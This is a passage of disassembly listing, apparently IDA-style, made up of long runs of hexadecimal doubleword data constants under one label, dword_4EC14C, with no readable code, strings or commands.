		dd 10A9D104h, 5E2DCF0Fh, 0AD3FF6C5h, 0CF6748CDh, 38731D25h
		dd 29F7834Ch, 2D907C7Fh, 5B097179h, 0F80152h, 7B1E5983h
		dd 0D7F72761h, 19C033AEh, 1BA156Bh, 0E9C74A9Ch,	598BE3FAh
		dd 20591330h, 889F8378h, 726D27Eh, 4809D802h, 0BBC5C27h
		dd 7FF1DC89h, 0FF082E3Ch, 0DD022302h, 30D8D64Bh, 0B0159F36h
		dd 3DE77850h, 8629109Ah, 529F8C40h, 0EBD6278Ch,	95740BC7h
		dd 0F87660AAh, 0DD016224h, 0D127733Ah, 0E7CDC03Fh, 1939EEB6h
		dd 0C1FF31E9h, 0AA52875Dh, 622FAD1h, 7AA1AFF1h,	659D91CFh
		dd 0DBE905CCh, 3E25BF2Eh, 0EE7CC8B9h, 24F792E7h, 0C1B31C33h
		dd 33505268h, 9A98769Eh, 94E03820h, 13CC2EBBh, 0B930409Ch
		dd 1CF34B7Ch, 1C18312h,	0B5810CF0h, 0D339F905h,	0DED1A158h
		dd 31D47B2Fh, 0DD590809h, 105F911Ah, 8A05D17Bh,	0F22EB2C8h
		dd 0E62A5D81h, 0E7FB2A48h, 44DA059Eh, 3094B25h,	2EEC1E2h
		dd 1C30E6B0h, 13C985Ch,	0C9DA0BBh, 0FD71310Ah, 0BC22F0CDh
		dd 50A78D73h, 60AF414Fh, 0D25B1B57h, 267E33B2h,	6F0F1CC0h
		dd 40FE4D05h, 5ABAC5E0h, 0CC36AD7h, 12F9727Ch, 0A2853F42h
		dd 4E680945h, 2F31ED25h, 59A50365h, 0F6661A1h, 1A0E62B3h
		dd 56647A3Eh, 0D7586B5Fh, 64642A9Ch, 0E902B1C0h, 5B31DD26h
		dd 535C0B21h, 0BA68099Dh, 4FB2DC74h, 3BF2598h, 33147016h
		dd 37B8B600h, 22E90B62h, 0C2583276h, 53BC2574h,	68588459h
		dd 12EBA99Ah, 3EDFEC1h,	0B1409789h, 41FE0C0h, 6B1FD8F6h
		dd 5DFE42CFh, 0C130CF03h, 80C9B958h, 5A8843D4h,	83A237CAh
		dd 0DA35AD0h, 1FE9ADB0h, 0C0718D48h, 6A1BE56h, 0AAC9A0D9h
		dd 63381D8h, 0A50152FAh, 0A2D48D12h, 35ED7847h,	731F606Bh
		dd 65425158h, 4BAC47CCh, 0FF7D84C4h, 0A756E804h, 8D1EA310h
		dd 9EB54B44h, 0DF72207Ch, 0CAE97410h, 1478A2AAh, 32EB5379h
		dd 87CD02E0h, 0E2738072h, 0F187FD38h, 0F94229E9h, 7CE95E54h
		dd 0BF29642Fh, 30DBB40Eh, 3EF85D2Dh, 0F050E8B5h, 13ACBB1Eh
		dd 0F614C1D0h, 5A01E054h, 1DC6803Eh, 0C087F430h, 0CF9E08ECh
		dd 63EA87BAh, 0C287E207h, 2AC6654h, 94103194h, 5BCE61D2h
		dd 0DE282968h, 4C7000DEh, 55D7213h, 0DA621201h,	35BB2D34h
		dd 7C2911D4h, 5B07A3E8h, 84E2E7AFh, 5395D7E9h, 41FB9475h
		dd 0C380C58Ah, 7F3F20DFh, 12B4BD80h, 2715E55h, 4918210Fh
		dd 0AFEEDE40h, 7F732E09h, 0CE2A8146h, 19309915h, 2466F2C6h
		dd 1B449D8h, 1EE22A1Fh,	0E9303021h, 688FB125h, 0F42C1526h
		dd 72F76551h, 5E6A9E8h,	4EDC1DDh, 0ABD825F5h, 8FBB2DC7h
		dd 8FB52A70h, 58C987FCh, 80223262h, 885EB2EDh, 5D512702h
		dd 0C50021D3h, 4CB67B59h, 49B52F68h, 72238598h,	263D0930h
		dd 1A462658h, 76FD012Dh, 555F0802h, 0ADF626CAh,	470965ACh
		dd 7B65E4h, 606667C7h, 0EF5E291Dh, 12A3D1C2h, 0D7F32B60h
		dd 28040B6h, 0FE5BE180h, 0B75304C1h, 0A0F930B0h, 269D2F1Ch
		dd 4B1CFF12h, 0AB3C269h, 32B85872h, 38045812h, 9574DDB8h
		dd 0DE497C51h, 71E5C268h
		dd 507CE903h, 46903C99h, 1274A29h, 1895C3C4h, 422252EEh
		dd 2077B2EDh, 0C580D6E0h, 0CDFE181Fh, 0A1567BD2h, 0E982CDF3h
		dd 0DD5633BFh, 8B7F6EEDh, 5EEE2563h, 0AB0CB490h, 57E99C91h
		dd 0D126D23Ah, 91A4C5D9h, 7D301209h, 0C002821Ah, 14DF0B2Dh
		dd 0A6672F0Ah, 5E52DE6Ah, 0DD00C05Ah, 934976B9h, 0F4095F1Ah
		dd 44269886h, 0F51D29B6h, 515A0AFh, 7CA502ECh, 23B82D69h
		dd 8620B194h, 7027B60Fh, 4962A268h, 42F112Bh, 7A7CF05Bh
		dd 0BF6421BDh, 30E068CBh, 0F7650BBDh, 74219C8h,	5D71E875h
		dd 4F564B5Ah, 0B9F36142h, 5DBCB407h, 4FD504D6h,	0B337BAE5h
		dd 0D0044239h, 0D6E92D93h, 34E69842h, 69C2012Eh, 80283B00h
		dd 480A885Dh, 8B108C5Ah, 165A6276h, 2BB3009Fh, 5A70EB80h
		dd 0A4A8DA4Fh, 95ACE9C5h, 0EBEB521Eh, 414CB02Ch, 51F2103h
		dd 0B3D1E0Eh, 0A5718A01h, 0BE328027h, 0B732C35Fh, 0F0CAA40h
		dd 0A5CF90B9h, 28F7AC4Ah, 13E4212Eh, 29454E43h,	2E895DC9h
		dd 0C923AFF7h, 52CDC9C9h, 0B017307Bh, 2B5F3454h, 0BFED6F0h
		dd 0A528E9C8h, 760120A2h, 5B55E6C6h, 2FD626A2h,	0AC727B57h
		dd 0FA4BC9F9h, 8B5DD7A5h, 71B0EC63h, 0B62DE967h, 924D5135h
		dd 90F0AD59h, 0C0083FC6h, 17E10C81h, 0C1827450h, 0D3E6AF6h
		dd 0D2E90E39h, 5EFFC98Ah, 2C454F46h, 78B5A2D5h,	0F091BC2Ah
		dd 50936804h, 0FD820625h, 0BC5E0486h, 0C4B24B91h, 10A8E6D6h
		dd 0B14BF5E8h, 8D3BC6h,	9AEA59F9h, 77CD85ECh, 0F91230D5h
		dd 0E9C262ADh, 28E4EA44h, 0A521BB3Ch, 0F6A509E4h, 1FC1D2EEh
		dd 31E52EFDh, 6C1656AFh, 2AF7EF03h, 1350571Dh, 0A2F3C432h
		dd 396A1B86h, 2A7AAB0h,	0F5C2D2F6h, 0FDB54360h,	0D6EA0827h
		dd 5637A06h, 0B25267D5h, 8551D93Dh, 0F2253329h,	2D2BF149h
		dd 0F5FA4594h, 27A438B6h, 0EAD0A0A4h, 3B814A5Dh, 73ADA7E2h
		dd 75481A60h, 0C0E0B52Dh, 81152EC6h, 24C33F58h,	71BBD481h
		dd 3AC98BBCh, 291EB5F2h, 0E35DD26Fh, 1C5537E8h,	8FC42039h
		dd 0BD255775h, 7012D62h, 6A58525Dh, 0C53A5F8Dh,	0B678AAFAh
		dd 97C7F4E9h, 36AD8014h, 0C564B0A7h, 27E5B72Ch,	24196408h
		dd 86C8523Bh, 0D854E918h, 0E59F5FC6h, 0AFA53FF5h, 0D84881A9h
		dd 53819270h, 4B578A2Ah, 50B264FDh, 27BCAFE0h, 0B80BC400h
		dd 25BB0A68h, 11310B2Dh, 41562B62h, 948B5109h, 0D366305Ah
		dd 0CDE99C08h, 0D8207369h, 71993A29h, 8CC67CADh, 51E0465Ah
		dd 916005F6h, 1789C6ADh, 61A3E1F9h, 69916BD9h, 2A2497E9h
		dd 806004B2h, 0BAC0D9F2h, 12CA2AC3h, 5337E904h,	1802AAB3h
		dd 16E1256h, 7053D639h,	69E6EBA3h, 0D60C6325h, 9D08A0E4h
		dd 8F4F1550h, 0D40532C9h, 6F502DB0h, 0F829E2F7h, 0C11E3EF0h
		dd 0DAC002E2h, 1170CA81h, 2D1348D6h, 0BCABA901h, 0CEA8E98Ch
		dd 7BBB92F5h, 1519282h,	693B720Ah, 35A84121h, 6BA2DC9Ch
		dd 0DDCFE92Ah, 4758587Eh, 0DD25107Bh, 0BB5BE878h, 267D8069h
		dd 0BEE9630Ah, 0B36AC3D8h, 0F3FA0C89h, 0C17CF921h, 0FC03E80Fh
		dd 80F36FBh, 0BF0550EEh, 0BAA56196h, 0A2A6A86h,	796A60CAh
		dd 2BF2029Fh, 0BEE1CFC5h, 5E9523D7h, 8CC71B6h, 409588ADh
		dd 0C2F07F29h, 0EF315A10h, 5803CE5h, 42515596h,	0E9F81F01h
		dd 8DD1ADF9h, 4F06B282h, 1EF1003Eh, 33985076h, 127B1620h
		dd 35361068h, 40B4816Eh, 0F529002Dh, 5E553756h,	0CECA5C79h
		dd 0C04A38CBh, 99826CD5h, 7A579E4Fh, 105EADA5h,	5F5A96Fh
		dd 1C47CBD1h, 0D526EA31h, 11554908h, 0E4875D1Eh, 3E820504h
		dd 28AAC1C6h, 8FF4171Bh, 0CDC9CEACh, 0C681505Ch, 305F115h
		dd 9159E471h, 0E84AD5EAh, 0B6208164h, 491DEA9Ch, 88501372h
		dd 0E2C01DD3h, 4BEA8905h, 0FD11FC85h, 601306Ah,	95D028A2h
		dd 528596C5h, 1380D5B6h, 5ED80A0h, 59EE081Fh, 0A7B7C2F6h
		dd 2601776Bh, 18B450C5h, 5CF4E630h, 505FBEBEh, 0D1B9C7A8h
		dd 0EBB418BCh, 16EDC0A9h, 0F8DDF607h, 0F6F9712Ch, 91A43AF5h
		dd 29E5E998h, 3FC1902Ch, 0F4415E38h, 0F19F9C99h, 505381F5h
		dd 0B0045AB0h, 3015CA50h, 77E915E8h, 682D2219h,	30AD4B54h
		dd 81ACA254h, 5978DAD0h, 0E39F12Fh, 70EEC489h, 0B3FED0FBh
		dd 5435E9C5h, 0F4BE30E8h, 129F519Bh, 0F6596053h, 77730916h
		dd 0BF08F901h, 89943E08h, 0D1A59BA9h, 7DB3B977h, 2728288Dh
		dd 6901C10Bh, 47FEE05Dh, 22F58299h, 778E1454h, 37DCD926h
		dd 68575305h, 31EF5671h, 51111676h, 2D70FFD2h, 4D2F7C1Ch
		dd 0B756EEB6h, 19689EC8h, 0F8C9584Bh, 0E95C286Eh, 59B7B764h
		dd 223417AAh, 0AA5CBBE3h, 0D790EB45h, 0FF5814Dh, 0F428C56Bh
		dd 12CEB997h, 0ABF0239h, 0A4AF5B78h, 97795A16h,	57DBD0B2h
		dd 0C43A53C5h, 68E5C78Dh, 2430292Ch, 0A3251DEEh, 134776FBh
		dd 196EC51h, 315E59C8h,	0B7A58C2h, 0FDA9918Fh, 890C7916h
		dd 7F84E9CEh, 0D62C52BAh, 779EA00h, 86E961BDh, 35040F92h
		dd 97C7116Eh, 5AF6A7B0h, 5046202Eh, 420ACA68h, 85585A11h
		dd 0EE81381Ch, 9C36E9A5h, 1789BB00h, 0BF69DC01h, 9623E876h
		dd 57C40A6Fh, 6338018Ah, 2F2907ECh, 1CE9B502h, 3C8E9098h
		dd 75622568h, 84828BD9h, 5F32043Fh, 0EF68C8B0h,	9AE1ABDh
		dd 0B35580F6h, 1326B438h, 0EC9641E9h, 17B8B6D0h, 0F83B5BBFh
		dd 14660778h, 0ED6020FCh, 16FF5FFBh, 8EE017Ah, 8709B353h
		dd 0A80500CDh, 0FF79FD7Bh, 4235BB04h, 4E9A8FAAh, 9A16B7B3h
		dd 0DEB9A86Fh, 0D9B62E49h, 0CAC82CAAh, 9F42E90h, 0F05A30ACh
		dd 17497F7Ch, 6DB84ACAh, 1C977338h, 8C67503h, 0C4259974h
		dd 0FEB91E5Dh, 0F262E61h, 0D9BC7201h, 10EB10CBh, 95B70F59h
		dd 0EF21EC70h, 0BB3D9A5Ch, 870CC075h, 84CE9D34h, 6494599Fh
		dd 0D6E971EEh, 0B089B474h, 0D1011CF5h, 0A459D203h, 984B807Ch
		dd 3425458Ah, 7CC9F856h, 2F405A1Dh, 0BB80EBF5h,	0B551E30h
		dd 0AB8B8C5Dh, 470B2D14h, 899ECE12h, 0BF4A5028h, 9077CFB2h
		dd 0C9EAE66Eh, 6F80FAEFh, 3262281Eh, 0C3496998h, 0CD8001EAh
		dd 4E5C0A6h, 0FCD14460h, 5F59E905h, 0CFC0A4ECh,	81BCEF4Fh
		dd 7A8027E7h, 0B8E765Dh, 4672A6E9h, 0AA16B702h,	1AFBE915h
		dd 56CD17A9h, 0BF928EA9h, 256A915h, 226086EDh, 0CA4EC268h
		dd 3DAD6153h, 0F754C2h,	0EAB75351h, 6FB29EE9h, 61983BF7h
		dd 36252568h, 0E90BDB47h, 46FDA7C8h, 73B87464h,	0B3745D2Dh
		dd 27E266C4h, 9F20AB94h, 8DF53EA0h, 74286F63h, 0E829C938h
		dd 0EA62DF1h, 1DAA10DBh, 27FBD7F7h, 0F4A91877h,	0E1BE99EBh
		dd 6F799968h, 512D409Ah, 2F58D591h, 0E84AB6B7h,	5B5CF2D4h
		dd 0CFE90BC0h, 3A5769C2h, 0FE8EA503h, 409DFCE4h, 0A60DB86Dh
		dd 8E0BD75Fh, 0E9D4F42Bh, 0F997E82Dh, 0A2DD7AC4h, 19BD55D2h
		dd 7A9DA8E9h, 0A0D81820h, 1768E7EDh, 0F85A64BAh, 18D2A7C2h
		dd 8035F97Ch, 0EC6104Ch, 1B6B60E9h, 4534575Dh, 3542BFBCh
		dd 0D0BCC62Eh, 5814FC4h, 0E8967891h, 0B7A0E801h, 49755BCBh
		dd 60091298h, 4138428h,	1DAC2DBDh, 0B13BA84Bh, 5803B3E5h
		dd 8AF40DB3h, 0C1BD0096h, 0E91B0672h, 0B7B6598Fh, 0B85358CEh
		dd 6CD584A8h, 0AA12AB16h, 78C498F0h, 58E7024Eh,	0E22C4C04h
		dd 679A361h, 26D8F9A8h,	4ECCF63Bh, 0E8AA2CAFh, 6C7110BDh
		dd 28729274h, 62B5F1F7h, 0B070C920h, 5A490254h,	2043BCF1h
		dd 2C0F038Eh, 6AE9546Fh, 96FE2DB5h, 6F0902F4h, 743EEA22h
		dd 0F20816F8h, 2BF37A8Eh
		dd 99C52344h, 5A9857A8h, 2DC412BBh, 0DA9902C1h,	72D10CA7h
		dd 57FD9342h, 3AB6F4CCh, 2FD82163h, 57F21D66h, 203DCD02h
		dd 0C04D77EAh, 2E508CAh, 0C52922A2h, 907001E9h,	4D5B659Fh
		dd 13D04A89h, 0C3405EE9h, 0DF2F67BDh, 0F8317B53h, 0C0389A82h
		dd 0BD699F32h, 0EE2EC140h, 612F703h, 0F6CC00BEh, 653E61FAh
		dd 8246ECA0h, 293ADC1Fh, 11B9E9C4h, 0FC4A14E7h,	7BE9820Eh
		dd 41B39A2Ch, 0E33E7634h, 549B8B30h, 6B106CDBh,	1E65BF80h
		dd 8937DE49h, 997F0C43h, 1CD44C73h, 26859F6Ah, 0E62CFF02h
		dd 4588948Eh, 0D3D1A25Eh, 0D3C25316h, 20BA7A59h, 0B3009FDAh
		dd 3FB25264h, 0FA41EA80h, 42DC4BD0h, 7C3544EEh,	7EEEBD40h
		dd 7B144018h, 9D50E968h, 0E8D6D38Bh, 0D50A125Ah, 4F756E40h
		dd 386A2558h, 2893702Ah, 0C26376ADh, 0F77928E7h, 79F358E5h
		dd 5FC45B8Eh, 0C52FAC65h, 78DBAFFh, 522D8349h, 53C33186h
		dd 0CA5E917h, 1B94A5ADh, 1602B704h, 0F813801Eh,	2248AF3Ah
		dd 1C07281Eh, 20193525h, 4F704723h, 0B8682D7Eh,	5207B466h
		dd 0D2F75A5Dh, 981876D2h, 4E57E90Dh, 0A23C24B5h, 0F348CA54h
		dd 3D6BBF82h, 4880F7F2h, 7A4B34D2h, 80D05690h, 8EF14A08h
		dd 0AA12A03Ah, 533E4D16h, 41EEDDB0h, 7A202802h,	34ECE7Ah
		dd 0CA887B07h, 94AE6D72h, 49C7F69Ch, 0EE3BD2A4h, 54DAA9A7h
		dd 0CA0B2A98h, 4A4BBC2Bh, 0E908074Dh, 0B84EC0E9h, 80521E33h
		dd 82DE966Ah, 0E2D65FBEh, 4FC6E9F8h, 259CB4F2h,	28D07253h
		dd 7E18A556h, 0EEE85F4Fh, 5A05E23Eh, 0CECC0957h, 77D88882h
		dd 6B240541h, 68523D30h, 0F7515E61h, 40049387h,	5200F569h
		dd 0BF3E5FBAh, 0BEB05C5Fh, 57D82629h, 2D030266h, 87F76FD6h
		dd 92140546h, 0CF1A92AFh, 403B8709h, 5B69A283h,	975F630Eh
		dd 125E173Bh, 33BAF021h, 32C9E45Ch, 5A85300Ah, 0D2F8194Ah
		dd 4C07A450h, 0CE0B52F2h, 3E605F59h, 0AAB9C821h, 69B6EC0Bh
		dd 4E011CAAh, 0B0D22E06h, 7F54F0A1h, 0E3C7505Bh, 0DC719DEEh
		dd 0B0131FA6h, 145171CCh, 9A7D4E68h, 146EF6D7h,	9DEBE860h
		dd 481502C5h, 0B4943A81h, 8914AB72h, 6101A5E6h,	0C17AD831h
		dd 129A30E2h, 7232724Eh, 0F6EB89B4h, 0A90813E9h, 22CBC1C4h
		dd 0E7FC0ECCh, 0FEA1BF06h, 8DADC933h, 0FBB9AF72h, 1F233E20h
		dd 176D7D65h, 32F04A4Ah, 6301888h, 7B905266h, 0F095D9E4h
		dd 0AE922053h, 0B6075B7Dh, 5AF130A4h, 0F3B9C835h, 0F5AD0C9h
		dd 0D317DF94h, 8BE52721h, 8EC1AF80h, 21659668h,	40B1D5A3h
		dd 0B876490Fh, 50292745h, 1C562001h, 0CA875C06h, 3F08D1F7h
		dd 74265192h, 465E961Dh, 0EBDFAFF1h, 42502955h,	34FEE3F2h
		dd 5F025DF2h, 7E0B7E42h, 71A18F43h, 70C32ECh, 70DD2F0Dh
		dd 79209821h, 9AB9005h,	45E2536Ch, 330988Fh, 256427B8h
		dd 7BEDD17Eh, 68BBD17Bh, 7C3D06h, 19DA639Eh, 4840E381h
		dd 0D05ED62Fh, 2401C379h, 94A9A13h, 0BC3F04FEh,	12A912DEh
		dd 0A981A684h, 9851260Eh, 0EB11163Dh, 47B489Dh,	834C0CBAh
		dd 2327ECFEh, 89CD56B9h, 9AD56C81h, 0EA4875E2h,	630D5FF2h
		dd 104C2930h, 0B0C28A1h, 8C5AFDE9h, 0CACED07h, 0EA61E02Ah
		dd 34D51047h, 48FF52Ah,	6F638808h, 740B540h, 26548E25h
		dd 0C32FB20Eh, 0E0AC79FEh, 83400517h, 0F658C508h, 0D7F097D5h
		dd 80607AE1h, 0BE9E49E9h, 295C495Fh, 121910BEh,	0FB109469h
		dd 0C20B835Fh, 0F6C36802h, 0CAC9BB81h, 0DD103D4Ch, 0CDB01F6Bh
		dd 0D927BE5Fh, 0C157C412h, 49D95D1Ch, 6EE8E43Dh, 53E42095h
		dd 0B02ABE78h, 37C50A45h, 6967AABh, 2EF7594Bh, 6FC424Ah
		dd 248FE5F4h, 8392D05Fh, 3E25F4Ah, 0D8CE4175h, 93F0D021h
		dd 5E003092h, 54A6C2Dh,	517356Ah, 0E9F4B25Dh, 682EB02Eh
		dd 7C553027h, 82D064F5h, 5341E1EEh, 80865498h, 0C3628E33h
		dd 0CF010A0Fh, 5ADC455h, 5C5B68AEh, 0A2B75300h,	0C7FEDFF6h
		dd 0E5364FE9h, 2B812B39h, 5D819A5Eh, 0A09D1FF6h, 0C182B3Ch
		dd 0C1A10C5Eh, 7768AC1Eh, 0D5312E78h, 0CC3A7F9Fh, 0E69418C9h
		dd 5B505305h, 5EA7BB90h, 0A1F94E1Eh, 22B46451h,	0F71E80E1h
		dd 8214AB5h, 77412AE9h,	0CA012DF7h, 0DFF24ED6h,	526A869Bh
		dd 2B0B1A1Dh, 998C5F7h,	0BFF1B7F2h, 9215574Bh, 8C2AE985h
		dd 1B65D045h, 7ABA89D8h, 0ACD55A99h, 6BF61BB3h,	1BE2B0F8h
		dd 0C3C065Ah, 1E03EAC1h, 0C426E91Dh, 0F326B7ACh, 22EC6884h
		dd 0FBB2D8h, 811F7F2Bh,	566958CFh, 2F47212Ch, 732F20A6h
		dd 7F6D0556h, 1597BE3Fh, 55DCF9B5h, 0C25027E9h,	4CE96A5Ch
		dd 0AF3AD34Ah, 8BF3A721h, 16295CACh, 0EB0A859Dh, 0E1D2CD77h
		dd 0C9D9D9FEh, 0DD967250h, 2EA978AFh, 0A44DF816h, 0BC5E27E6h
		dd 577F803Dh, 2DF58131h, 4C242742h, 0DF4003CAh,	0F8E07CCDh
		dd 0BBF23376h, 28BA0A18h, 2E5BBE0Ch, 8BEF0F42h,	163A1425h
		dd 0DAEB30D5h, 3568135Bh, 182CFF42h, 0E26434E9h, 0CCC4B0E5h
		dd 532B5204h, 0EFC2E831h, 0F5040981h, 0B94AD089h, 5A2C702Fh
		dd 0D5029A40h, 56BFA58Fh, 0EDF927A6h, 2097F249h, 5427E745h
		dd 0EE7FB05Eh, 8062975Dh, 27CFED5Fh, 646E4D28h,	0A8DBFD8h
		dd 9689292Bh, 0F621083Fh, 800464B8h, 0F7800E06h, 0E7C0D40Eh
		dd 0A3C7C404h, 0DE4E1CFEh, 66434ED8h, 0B25205D8h, 0C380481Eh
		dd 0BAC474E5h, 0B986E989h, 78E9257Ch, 82662DC1h, 1E807712h
		dd 3A7D35ADh, 0CFB13FF3h, 3DA4F7D9h, 0FAC8891Bh, 5EF348A2h
		dd 96CE45D5h, 58FCF0E3h, 56FE797h, 0D53CE954h, 0DE6907EDh
		dd 1F069253h, 51424471h, 86957308h, 21733F68h, 516C622h
		dd 0CD4DA7C3h, 0AB058537h, 5926F6CBh, 0D6E209CEh, 68123A94h
		dd 4F341911h, 0E9CB92C0h, 0DD7D5E62h, 30A32A1Bh, 4082BE50h
		dd 582559ADh, 0E11AFC30h, 2A23BF68h, 0EAB03A32h, 88FFDB0h
		dd 0B020CD0Bh, 3D3A685Ah, 26AB669Fh, 62D92177h,	98C031B5h
		dd 0F994EC0Dh, 53D4A449h, 14B51C2h, 76F0E7E9h, 545512D6h
		dd 0BB923EADh, 5D93F02Ch, 0D800DD66h, 0BC56230Dh, 3801356Ch
		dd 0E9122E19h, 336BAF22h, 0D045567Bh, 129A02F7h, 84C421F8h
		dd 8006BFCEh, 5C2010F4h, 0BC594E86h, 0C330B1EBh, 12BBF62Fh
		dd 37D403E9h, 5676DEC2h, 0A21463A2h, 20F9E350h,	9ED46352h
		dd 0AC85B3D6h, 1D39DE9h, 7A5DFB74h, 5942B71h, 0B158080Ah
		dd 0D2C1F10Ah, 7427FE4Fh, 967CBB9Eh, 0C30CB043h, 88B0B036h
		dd 5EBEB172h, 0E81064Ch, 0BF039AEEh, 5E8CB353h,	0E9C16C30h
		dd 0C2D1BC0Ah, 995D08CAh, 0C4C07287h, 5401E62h,	745E412Eh
		dd 40D0F748h, 0A74188E2h, 107185Ch, 30AFC94Ah, 0B844F001h
		dd 0C60429EDh, 0C1189792h, 3E08CDE6h, 0CD4E8CF7h, 7C8E006Fh
		dd 5F4E3360h, 80503E5h,	2CE99C88h, 6F2BE847h, 43B59C05h
		dd 3D41BDC7h, 849B19C9h, 0D1215F12h, 207CB2B9h,	0F60B1796h
		dd 0BDE86D3h, 2D5A40D9h, 163A1B3Eh, 23BFDC3Bh, 48D0B75Fh
		dd 6302B525h, 0A0E930C3h, 2CFEC521h, 4FBA108Ah,	58CB2ABDh
		dd 0D3644679h, 6205F5D1h, 2AF936A5h, 75B1F64Ch,	1124F72Ah
		dd 0E908A0EBh, 80F6A86Dh, 0D571EFEFh, 0B659CB20h, 0E4BB3DF4h
		dd 0FED413FBh, 0E20683C4h, 7361D2C2h, 63C6EA4Ah, 0D367D7F0h
		dd 0FE80B510h, 0E8D5F6CDh, 92839BC5h, 0C7A88423h, 71054B3Fh
		dd 1EE227Eh, 450387E6h,	5750712h, 3FBFE1CFh, 84950624h
		dd 16B87A91h, 190151C3h, 6C24E9F3h, 0E7D0CC3Ah,	9D5EA840h
		dd 0BB046C1Eh, 0BF5CDCEDh
dword_4EC14C	dd 6F2589C0h, 9D4A50CBh, 3C0E7FECh, 0C1015Bh, 76AAE908h
		dd 0A7F789C3h, 0D92FDB02h, 0E36A20A6h, 0E0D31E67h, 4EECF5CBh
		dd 942B019h, 17525CACh,	0C3708557h, 0AD09E317h,	4AE9F889h
		dd 29BA41BDh, 71685DEFh, 9FCC2EF0h, 44E02ADh, 59CF297Fh
		dd 6B0E360h, 9C2D989Fh,	4E730C3Ch, 0F0CAD829h, 5E0A0550h
		dd 0C39560E3h, 0D047762Fh, 0E2C102A8h, 0FAC0E905h, 4326BCF1h
		dd 7925DEA5h, 3A4B2E68h, 78638E5Dh, 971826C6h, 273C4759h
		dd 0C1626911h, 0BF2E6670h, 0DDC7D060h, 90435E80h, 5BA109E1h
		dd 0DB0B20ACh, 0CB5965FEh, 5B393060h, 56ABD7Bh,	0B713B0CEh
		dd 49B301EBh, 3A292527h, 801F0F1h, 0C6EB5D5Bh, 57ED1624h
		dd 2605E8F2h, 84690060h, 531F509Fh, 5304072h, 345248F8h
		dd 0A154A2F4h, 27582ACCh, 40C05F25h, 0EC4E1522h, 6AE30FE5h
		dd 0CD816878h, 0F6520D2Bh, 0CF4C2055h, 2769BAECh, 250984E9h
		dd 238B7759h, 0E9B6D960h, 920B755Bh, 1A337F02h,	29B217D1h
		dd 719F7FBAh, 9068C989h, 0BB807673h, 7E790038h,	9E3817Ah
		dd 3A48AE67h, 65070474h, 36FE6492h, 8C09180Ch, 0F4A44D54h
		dd 0CAEC2FC6h, 530783BFh, 3F3198BBh, 4EE9124Ch,	356EE415h
		dd 1439F42Eh, 0A2BD3C09h, 5D04B472h, 0E45F5362h, 0F9011221h
		dd 68FAE45Fh, 0E92F6895h, 4F8B92ACh, 7A00FD35h,	1C87C34Ah
		dd 0DF5F83F2h, 3060E029h, 7FC01833h, 7C306AF2h,	4E1AF668h
		dd 0DBC9406Bh, 9394648h, 0D75FF826h, 71068728h,	216BA002h
		dd 1D2C048h, 3141D663h,	29AAD858h, 2402B6F5h, 7D038923h
		dd 74D785C9h, 6D276822h, 0A52197Ah, 50804C34h, 3EF98BF7h
		dd 23CC05Bh, 1DBEF19Ch,	7CFAC9C8h, 0B40F3E51h, 13F3469Fh
		dd 0C45D4F4Ah, 65FA211Ah, 2D896F20h, 0FF35267Bh, 77830DF4h
		dd 0F86F28D6h, 7BC5095Ah, 168520A5h, 5E25A299h,	0D177DC31h
		dd 3572273Fh, 3427C3E7h, 0AF0FDF1Dh, 24EA7865h,	60665EC7h
		dd 0F788E3B6h, 27A05A5Dh, 0BFDC5AB5h, 0B2B0D4ECh, 0EB80AF01h
		dd 9BD2E94Eh, 5B69F73Bh, 0CE80F274h, 2450432Eh,	16A2493Dh
		dd 7976E365h, 0D17D5925h, 3075EB05h, 80979654h,	52B05FB5h
		dd 0F5018072h, 0C059EA88h, 66B07E2h, 0AEDF2B1h,	89B7A49Dh
		dd 0AF4084BAh, 40C60A8Ch, 0B9B854D8h, 5405996h,	9294153Ah
		dd 72D5048h, 0FFDF2CE9h, 0EAAC29Dh, 3D6E447Fh, 5A17D101h
		dd 7B65F5FAh, 0A80BE95h, 69574B1h, 3DE9405Eh, 48C725C7h
		dd 4DB439A5h, 7D410AFh,	0C2EA7E64h, 0EDA254CBh,	7709E1CCh
		dd 81F6EC04h, 4B70A0Fh,	2892FFC7h, 0F609E3E7h, 162F6406h
		dd 3D0AB10Fh, 6C9684B5h, 51E30412h, 54520789h, 0DA1130D2h
		dd 1DCD0037h, 8E680466h, 62D8343h, 7F3EE25Bh, 1020336Ch
		dd 8869B4AEh, 0B61F6044h, 0DAE680C7h, 449F0BAEh, 0BDE3F091h
		dd 0D5D6EC42h, 0B0B066Ah, 8B2BF9A5h, 6F09D587h,	8C2ECF2h
		dd 7E07E5C1h, 0C48749F1h, 0BE8600EDh, 5B4EE9A5h, 3809B6E2h
		dd 0D2500146h, 25EC084Ah, 0AC8AECA5h, 836E4115h, 0E3366D28h
		dd 0D133B055h, 429B2578h, 0E942FBD1h, 939DA93h,	0BA1757EEh
		dd 4C03E17Eh, 1BB4AEBh,	0A85A6C68h, 0C6D0E937h,	71A76B59h
		dd 0C25B494Ah, 20026E24h, 0DF2BFF4Bh, 719DD60h,	965D22Ch
		dd 70518B02h, 31B9C039h, 8A4051Fh, 359667E9h, 0A14A00B9h
		dd 0D10BD721h, 32702990h, 40BD09FAh, 2C262D03h,	0C17139h
		dd 73EC44ACh, 0BF267C05h, 0C317F6F3h, 4F2176F8h, 379654B0h
		dd 0BA64008Fh, 9B70C86Ch, 915AD8E9h, 5B2A777h, 0E291A06Dh
		dd 5CA03D40h, 6136260h,	1DFD0042h, 0C7481E51h, 124473Ch
		dd 0E99956EEh, 0F62AD7B7h, 999043E8h, 0D9C0A28Ch, 0FF485066h
		dd 0B2EBFBDh, 0AB0D35E5h, 4A9DD68Ch, 5FFDA4EFh,	0F4F6916h
		dd 0C32940C1h, 783AD12Ah, 3CDA7A6Ch, 0A3580642h, 0AD051226h
		dd 0C9078E50h, 4D5D6227h, 56B0F7D4h, 222058B1h,	0C98E6039h
		dd 478FEF2h, 0E9F8E1D0h, 14E18C5Bh, 0F4E044C2h,	16979E41h
		dd 7AB3ED68h, 46A71325h, 7D0E0CAFh, 43762A92h, 223E7F0Eh
		dd 94675DE9h, 5391213Bh, 8E1EEDA6h, 0E6885247h,	0CAF4E972h
		dd 6DAF60C6h, 2BDE658h,	98E89636h, 0B4CAD529h, 24F76475h
		dd 0A6E0AB81h, 5445969Fh, 5010EE70h, 5F6602E1h,	9B2C7568h
		dd 0A8BDD0A7h, 9D45FC6Ch, 7F3D8678h, 0C846BE3Ch, 0B0502A2h
		dd 0D7AF53E9h, 529D13E6h, 5B39FABEh, 511C2394h,	86F63EC9h
		dd 5DEE2912h, 5E6C0C44h, 6A0C48A5h, 35203C19h, 68006E96h
		dd 0E025705Fh, 88BFF05Dh, 39FDBDB4h, 4526AF67h,	40B58434h
